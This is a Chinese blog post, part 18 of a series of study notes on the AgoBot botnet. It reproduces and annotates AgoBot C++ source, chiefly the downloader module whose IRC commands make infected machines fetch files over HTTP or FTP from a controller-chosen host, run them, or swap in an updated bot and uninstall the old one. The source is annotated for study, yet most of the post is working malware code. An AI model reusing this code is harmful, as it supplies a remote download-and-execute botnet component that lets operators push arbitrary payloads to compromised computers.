AgoBot 僵尸网络研究笔记(十八)
来源:互联网 发布:网络禁书小说40本名单 编辑:程序博客网 时间:2024/06/05 04:30
十八、2008年04月16日
作者:青青子衿email:anzijin@sina.com
email:anzijin@sina.com
1、utility.h 文件中实现的功能比较杂这里一一做成分析。
(1)、一些结构体的分析,具体结构体中成员的细节,不再累述。
//IP头结构体
typedef struct ip_hdr
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IPHEADER;
//
typedef struct tsd_hdr
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}PSDHEADER;
//TCP头结构体
typedef struct tcp_hdr
{
unsigned short th_sport;
unsigned short th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
unsigned short th_win;
unsigned short th_sum;
unsigned short th_urp;
}TCPHEADER;
typedef struct xheaders_s
{ bool bBroadcast;
int iTTL;
bool bUltrapeer;
} xheaders;
//消息结构体,这里要和前面的消息类加以区分
typedef struct message_s
{ char szCommand[256];
char szParams[1024];
char szId[65];
char szIntFlags[191];
int iContentLength;
char *szContent;
} message;
//url信息相关的结构体
typedef struct url_s
{ CString sProto;
CString sHost;
int iPort;
CString sReq;
} url;
//http请求相关的结构体
typedef struct http_req_s
{ url uURL;
CString sMethod;
CString sHTTPVer;
CString sHeaders;
} http_req;
2、class CDownloader : public CCommandHandler类
class CDownloader : public CCommandHandler
{
public:
void Init();
bool HandleCommand(CMessage *pMsg);
command m_cmdDownload, m_cmdUpdate, m_cmdExecute, m_cmdVisit;
command m_cmdDownloadFtp, m_cmdUpdateFtp, m_cmdExecuteFtp;
};
(2)、Init()函数
/////////////////////////////////////////////////////////////////////
//
//函数功能:初始化CDownloader类,添加一系列与下载相关的指令
//参数: 无
//返回值: void
//
////////////////////////////////////////////////////////////////////
void CDownloader::Init()
{
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdDownload, "http.download", "downloads a file from http", this); //通过http协议下载文件的指令
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdExecute, "http.execute", "updates the bot from a http url", this); //通过http协议更新bot的指令
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdUpdate, "http.update", "executes a file from a http url", this); //执行通过http协议下载程序的指令
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdVisit, "http.visit", "visits an url with a specified referrer", this); //访问一个指定的url
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdDownloadFtp, "ftp.download", "downloads a file from ftp", this); //通过ftp协议下载文件的指令
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdExecuteFtp, "ftp.execute", "updates the bot from a ftp url", this); //通过ftp协议更新bot的指令
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdUpdateFtp, "ftp.update", "executes a file from a ftp url", this); //通过ftp协议更新bot的指令
}
(3)、HandleCommand(CMessage *pMsg) 函数
/////////////////////////////////////////////////////////////////////////
//
//函数功能:指令处理函数
//参数: CMessage *pMsg 接收到的指令消息
//返回值: bool
//
//
////////////////////////////////////////////////////////////////////////////////
bool CDownloader::HandleCommand(CMessage *pMsg)
{
CString sHost, sPath, sUser, sPass, sTarget;
//执行通过http协议下载文件
if(!pMsg->sCmd.Compare("http.download"))
{
sHost.Assign(pMsg->sChatString.Token(1, " ")); //提取主机名
sPath.Assign(pMsg->sChatString.Token(2, " ")); //提取文件路径
sTarget.Assign(pMsg->sChatString.Token(3, " ", true)); //提取下载目标文件的名称
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost); //给CDownloadHelper类的对象赋值
pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget);
pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo); //回复信息
pDldHlp->m_bExecute=false;
pDldHlp->m_bUpdate=false;
pDldHlp->m_bFTP=false;
pDldHlp->m_bSilent=pMsg->bSilent;
pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start(); //最终会启动新线程,在新线程中运行run函数
}
//通过http协议,下载并执行程序
if(!pMsg->sCmd.Compare("http.execute"))
{
sHost.Assign(pMsg->sChatString.Token(1, " "));
sPath.Assign(pMsg->sChatString.Token(2, " "));
sTarget.Assign(pMsg->sChatString.Token(3, " ", true));
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost);
pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget);
pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);
pDldHlp->m_bExecute=true; //标识执行该程序
pDldHlp->m_bUpdate=false;
pDldHlp->m_bFTP=false;
pDldHlp->m_bSilent=pMsg->bSilent;
pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start(); //启动线程运行run函数
}
//处理bot通过http更新的指令
if(!pMsg->sCmd.Compare("http.update"))
{
sHost.Assign(pMsg->sChatString.Token(1, " "));
sPath.Assign(pMsg->sChatString.Token(2, " "));
sTarget.Assign(pMsg->sChatString.Token(3, " ", true));
if(!pMsg->sChatString.Token(4, " ").Compare(g_cMainCtrl.m_cBot.bot_id.sValue))
{
//提取第四个参数,与bot的ID值进行比较,如果相等进行下一步bot升级
//如果不相等,函数退出。
return false;
}
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost);
pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget);
pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);
pDldHlp->m_bExecute=false;
pDldHlp->m_bUpdate=true; //标识执行bot升级
pDldHlp->m_bFTP=false;
pDldHlp->m_bSilent=pMsg->bSilent;
pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start();
}
//处理ftp协议的下载指令
if(!pMsg->sCmd.Compare("ftp.download"))
{
sUser.Assign(pMsg->sChatString.Token(1, " "));
sPass.Assign(pMsg->sChatString.Token(2, " "));
sHost.Assign(pMsg->sChatString.Token(3, " "));
sPath.Assign(pMsg->sChatString.Token(4, " "));
sTarget.Assign(pMsg->sChatString.Token(5, " ", true));
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost);
pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget);
pDldHlp->m_sUser.Assign(sUser);
pDldHlp->m_sPass.Assign(sPass);
pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);
pDldHlp->m_bExecute=false;
pDldHlp->m_bUpdate=false;
pDldHlp->m_bFTP=true; //标识ftp协议下载
pDldHlp->m_bSilent=pMsg->bSilent;
pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start();
}
//处理下载远程程序,并执行的指令
if(!pMsg->sCmd.Compare("ftp.execute"))
{
sUser.Assign(pMsg->sChatString.Token(1, " "));
sPass.Assign(pMsg->sChatString.Token(2, " "));
sHost.Assign(pMsg->sChatString.Token(3, " "));
sPath.Assign(pMsg->sChatString.Token(4, " "));
sTarget.Assign(pMsg->sChatString.Token(5, " ", true));
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost);
pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget);
pDldHlp->m_sUser.Assign(sUser);
pDldHlp->m_sPass.Assign(sPass);
pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);
pDldHlp->m_bExecute=true; //标识执行下载后的程序
pDldHlp->m_bUpdate=false;
pDldHlp->m_bFTP=true; //标识使用ftp协议
pDldHlp->m_bSilent=pMsg->bSilent;
pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start();
}
//通过ftp协议更新bot程序的指令
if(!pMsg->sCmd.Compare("ftp.update"))
{
sUser.Assign(pMsg->sChatString.Token(1, " "));
sPass.Assign(pMsg->sChatString.Token(2, " "));
sHost.Assign(pMsg->sChatString.Token(3, " "));
sPath.Assign(pMsg->sChatString.Token(4, " "));
sTarget.Assign(pMsg->sChatString.Token(5, " ", true));
if(!pMsg->sChatString.Token(6, " ").Compare(g_cMainCtrl.m_cBot.bot_id.sValue))
{
return false;
}
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost);
pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget);
pDldHlp->m_sUser.Assign(sUser);
pDldHlp->m_sPass.Assign(sPass);
pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);
pDldHlp->m_bExecute=false;
pDldHlp->m_bUpdate=true; //标识执行bot升级
pDldHlp->m_bFTP=true; //标识使用ftp协议
pDldHlp->m_bSilent=pMsg->bSilent;
pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start();
}
return true;
}
3、class CDownloadHelper : public CThread 类
////////////////////////////////////////////////
//
//类的功能:下载功能的辅助类,是线程类的子类
//
///////////////////////////////////////////////////
class CDownloadHelper : public CThread
{
public:
virtual ~CDownloadHelper() { }
virtual void *Run();
CString m_sHost; //主机名
CString m_sPath; //路径
CString m_sUser; //用户名
CString m_sPass; //密码
CString m_sTarget; //目标文件名
CString m_sReplyTo; //回复信息
bool m_bExecute; //是否执行
bool m_bUpdate; //是否更新
bool m_bFTP; //是否使用ftp
bool m_bSilent; //是否静默状态
bool m_bNotice; //是否发送Notice数据包
};
(1)void *CDownloadHelper::Run() 函数
void *CDownloadHelper::Run()
{
// If the params are invalid, return
if(!m_sHost.Compare("") || !m_sTarget.Compare("") || !m_sPath.Compare("")) //如果主机名,路径、目标文件名为空
{
//从线程堆栈中释放该线程。
g_cMainCtrl.m_lCanJoin.push_back(this);
return NULL;
}
if(m_bFTP)
{
//如果通过ftp协议下载
if(!m_sUser.Compare("") || !m_sPass.Compare(""))
{
//如果用户名和密码为空则将本线程从线程堆栈中弹出,函数返回。
g_cMainCtrl.m_lCanJoin.push_back(this);
return NULL;
}
}
// Get the port from the host, set it to default if none is specified
int iPort=0; //将端口值清0
if(m_sHost.Token(1, ":").Compare(""))
{
iPort=atoi(m_sHost.Token(1, ":").CStr()); //从m_sHost变量中提取端口值
}
if(iPort==0) //如果端口值是0,通过使用的传输协议,为端口值赋值。
{
if(m_bFTP) //使用ftp传输时使用默认端口21
{
iPort=21;
}
else //使用http协议进行传输时,使用默认端口80
{
iPort=80;
}
}
// Store only the ip/host in m_sHost
CString sTemp(m_sHost.Token(0, ":")); //只取一个IP地址或是host地址
m_sHost.Assign(sTemp); //将其放入m_sHost变量中
// Expand environment variables if compiled on Win32 //如果在window系统中,需要扩展环境变量
#ifdef WIN32
char szTemp[MAX_PATH];
ExpandEnvironmentStrings(m_sTarget.CStr(), szTemp, MAX_PATH); //扩展环境变量,得到全路径
m_sTarget.Assign(szTemp);
#endif
if(m_bFTP) //通过ftp模式进行传输
{
netbuf *nControl; // 一个结构体类型的指针变量
FtpInit(); //调用WSAStartup函数,初始化网络设置
if(!FtpConnect(m_sHost.CStr(), &nControl)) //如果连接失败,返回0.
{
//处理连接失败代码。
g_cMainCtrl.m_cIRC.SendMsg(m_bSilent, m_bNotice, "Unable to connect to ftp.", m_sReplyTo); //向控制端返回“无法连接的”提示信息
g_cMainCtrl.m_lCanJoin.push_back(this); //将本线程从线程堆栈中弹出。
return NULL; //函数返回,新创建的线程退出。
}
if(!FtpLogin(m_sUser.CStr(), m_sPass.CStr(), nControl)) //登录ftp服务器
{
//登录失败
g_cMainCtrl.m_cIRC.SendMsg(m_bSilent, m_bNotice, "Unable to login to ftp.", m_sReplyTo);
g_cMainCtrl.m_lCanJoin.push_back(this); return NULL;
}
//向控制端返回登录成功信息。
g_cMainCtrl.m_cIRC.SendMsg(m_bSilent, m_bNotice, "Receiving file.", m_sReplyTo);
if(!FtpGet(m_sTarget.CStr(), m_sPath.CStr(), FTPLIB_IMAGE, nControl)) //表示接收图片FTPLIB_IMAGE,这里的含义应该是接收二进制数据
{
g_cMainCtrl.m_cIRC.SendMsg(m_bSilent, m_bNotice, "Unable to download from ftp.", m_sReplyTo);
g_cMainCtrl.m_lCanJoin.push_back(this); return NULL;
}
FtpQuit(nControl); //退出ftp连接
}
else //通过http模式进行传输
{
int sSocket, d;
CString sSendBuf, sReply;
sSocket=DoTcpConnect(m_sHost.CStr(), iPort);//主机名、端口,返回值为socket套接字
if(sSocket==SOCKET_ERROR) //如果连接失败,返回提示信息,给控制端
{
g_cMainCtrl.m_cIRC.SendMsg(m_bSilent, m_bNotice, "Unable to connect to http.", m_sReplyTo);
g_cMainCtrl.m_lCanJoin.push_back(this); xClose(sSocket); return NULL;
}
//构造发送数据。
sSendBuf.Format("GET %s HTTP/1.0/r/nConnection: Keep-Alive/r/nUser-Agent: Mozilla/4.75 [en]/r/nHost: %s:%d/r/n/r/n", m_sPath.CStr(), m_sHost.CStr(), iPort);
//向http服务器发送请求数据。
xWrite(sSocket, sSendBuf.CStr(), sSendBuf.GetLength());
//向控制端返回当前状态Receiving file
g_cMainCtrl.m_cIRC.SendMsg(m_bSilent, m_bNotice, "Receiving file.", m_sReplyTo);
//打开文件,准备保存下载的文件。
FILE *file=fopen(m_sTarget.CStr(),"wb");
if(!file)
{
g_cMainCtrl.m_cIRC.SendMsg(m_bSilent, m_bNotice, "Failed to open file.", m_sReplyTo); g_cMainCtrl.m_lCanJoin.push_back(this);
return NULL;
}
char szBuf[4096];
//处理包含http数据报头的数据
while(true)
{
int i;
if((i=xRead(sSocket,szBuf,4096))<=0) //从http服务器上读数据
{
break;
}
if(i<4096) szBuf[i]=0;
for(d=0;d<i;d++)
{
if(!strncmp(szBuf+d,"/r/n/r/n",4))//找到"/r/n/r/n"字符串后,该字符串前面的部分是http的头,后面部分是准备下载的数据
{
for (d+=4;d<i;d++)
{
fputc(szBuf[d],file); //将数据写入文件
}
goto done_http;
}
}
}
done_http: //处理之后没有带http数据包头的数据
while(true)
{
int i;
if((i=xRead(sSocket,szBuf,4096))<=0) //从http服务器下载数据
{
break;
}
if(i<4096)
{
szBuf[i]=0;
}
for(d=0;d<i;d++)
{
fputc(szBuf[d],file); //将数据写入文件。
}
}
fclose(file); //关闭打开的文件指针
xClose(sSocket); //关闭套接字
}
//判断是否需要在更新bot
if(!m_bUpdate)
{
//不需要更新
//download isn't an update
g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo, "download to %s finished.", m_sTarget.CStr());
//判断是否需要运行新下载的文件
if(m_bExecute)
{
//需要运行
Execute(m_sTarget.CStr(), "");
g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo, "opened %s.", m_sTarget.CStr());
}
}
else
{
//需要更新AgoBot
//download is an update
g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo, "download to %s finished, updating...", m_sTarget.CStr());
if(CreateProc(m_sTarget.Str(), "-update")) //将新下载的bot运行起来
{ // successful update, remove and exit
#ifdef WIN32
if(g_cMainCtrl.m_cBot.as_enabled.bValue)
{
g_cMainCtrl.m_cInstaller.RegStartDel(g_cMainCtrl.m_cBot.as_valname.sValue); //删除原有的启动项,新bot的启动项会在新bot运行时设置
}
#endif
g_cMainCtrl.m_cInstaller.Uninstall(); //卸载旧bot程序
g_cMainCtrl.m_bRunning=false; //将运行状态设置为false
exit(1); //进程退出
}
else
{
//更新失败
g_cMainCtrl.m_cIRC.SendMsg(m_bSilent, m_bNotice, "update failed: error executing file.", m_sReplyTo.Str());
}
}
g_cMainCtrl.m_lCanJoin.push_back(this);
return NULL;
}
- AgoBot 僵尸网络研究笔记(十八)
- AgoBot 僵尸网络研究笔记(一)
- AgoBot 僵尸网络研究笔记(二)
- AgoBot 僵尸网络研究笔记(三)
- AgoBot 僵尸网络研究笔记(四)
- AgoBot 僵尸网络研究笔记(五)
- AgoBot 僵尸网络研究笔记(六)
- AgoBot 僵尸网络研究笔记(七)
- AgoBot 僵尸网络研究笔记(八)
- AgoBot 僵尸网络研究笔记(九)
- AgoBot 僵尸网络研究笔记(十)
- AgoBot 僵尸网络研究笔记(十一)
- AgoBot 僵尸网络研究笔记(十二)
- AgoBot 僵尸网络研究笔记(十三)
- AgoBot 僵尸网络研究笔记(十四)
- AgoBot 僵尸网络研究笔记(十五)
- AgoBot 僵尸网络研究笔记(十六)
- AgoBot 僵尸网络研究笔记(十七)
- Microsoft .Net Framework 3.5 安装错误
- 什么是XDoclet
- 使用JBoss配置发送邮件
- 提高网页打开速度的一些小技巧
- 术语FXO和FXS的含义是什么
- AgoBot 僵尸网络研究笔记(十八)
- Learn Spring in spring(一)
- JavaMail 收邮件 草稿箱 发件箱 IMAP 技巧
- 妈妈,别哭,我去了天堂 (转载)
- Learn Spring in spring(2)
- Visual C+6.0实现文本串的自由拆分
- after earthquake....
- Learn Spring in spring(3)
- 硬盘接口